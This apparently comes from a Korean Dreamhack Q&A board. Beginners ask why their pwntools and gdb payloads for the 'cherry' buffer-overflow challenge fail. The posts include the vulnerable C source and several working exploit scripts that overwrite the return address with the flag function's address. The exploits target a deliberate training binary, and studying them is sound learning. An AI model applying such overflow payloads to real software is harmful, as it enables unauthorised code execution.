사진처럼 r <<< $(파이썬 코드1) <<< $(파이썬 코드2) 인자를 입력해서 디버거를 보고 있는데 파이썬 코드2만 정상적으로 첫번째 인자로 입력되고("cherry~"), 두번째 인자 파이썬 코드1은 입력이 되지 않습니다. pwndbg에 인자 2개를 순서대로 입력하려면 run 명령어을 어떻게 주어야 하나요?

from pwn import * p = remote('host3.dreamhack.games', 11109) context.log_level = 'debug' #ret : 0x4013c2 #flag : 0x4012bc a = b'a' * 6 p.sendlineafter(b'Menu: ', a) b = a + b'a' * 2 + int.to_bytes(0x4012bc, 8, 'little') p.sendlineafter(b'Is it cherry?: ', b) p.interactive() 코드를 짜보았는데... 어디가 문제인지 잘 모르겠습니다.. 가르쳐주세요ㅠㅠ

image int main(int argc, char *argv[]) { int stdin_fd = 0; int stdout_fd = 1; int buf_size = 0x10; char fruit[0x6] = "cherry"; char buf[0x6]; initialize(); write(stdout_fd, "Menu: ", 6); read(stdin_fd, buf, buf_size); if(!strncmp(buf, "cherry", 6)) { write(stdout_fd, "Is it cherry?: ", 15); read(stdin_fd, fruit, buf_size); } return 0; } 'Menu: '에 대한 인풋에서 buf와 fruit, buf_size를 덮어쓰기 위해 print('cherryAAAABB\x80\x00\x00\x00')을 통해 값을 전달하였습니다. 이후 gdb를 통해 스택을 확인한 결과 buf는 cherry로, fruit은 AAAABB로 덮어씌어진것을 확인할 수 있었지만 buf_size는 0x00000080이 아닌 0x000080c2가 된 것을 확인할 수 있었습니다. 이와 관련해 원인을 알아보고자 하였으나 원인을 찾지 못하여 이렇게 질문 남깁니다. 아래는 이미지 내 run 명령어입니다. run <<< $(python -c "print('cherryAAAABB\x80\x00\x00\x00')") <<< $(python -c "print('a' * 18 + 'c' * 8 + '\xbc\x12\x40\x00\x00\x00\x00\x00')") `

안녕하세요? 초보자인데 너무 이해가 안되는게 있어서 질문드립니다..ㅠㅠ알려주세요!!! 두 번째로 코드로 문제는 풀었습니다만, 첫 번째 코드로는 왜 해결이 안 되는 건지 궁금합니다. 차이점은 sendlineafter를 썼느냐 또는 recvuntil + send를 썼느냐 같은데요.. 첫 번째 코드 from pwn import * p = remote("host3.dreamhack.games", 12039) payload = b'cherry' payload += b'a' * 10 p.sendlineafter(b'Menu: ', payload) payload2 = b'b' * 26 payload2 += p64(0x4012bc) p.sendlineafter(b'Is it cherry?: ', payload2) p.interactive() 두 번째 코드 from pwn import * p = remote("host3.dreamhack.games",12039) flag_addr = 0x4012bc payload = b'cherry' payload += b'A'*10 p.recvuntil(b"Menu: ") p.send(payload) payload = b'B'*26 payload += p64(flag_addr) p.recvuntil(b"Is it cherry?: ") p.send(payload) p.interactive() `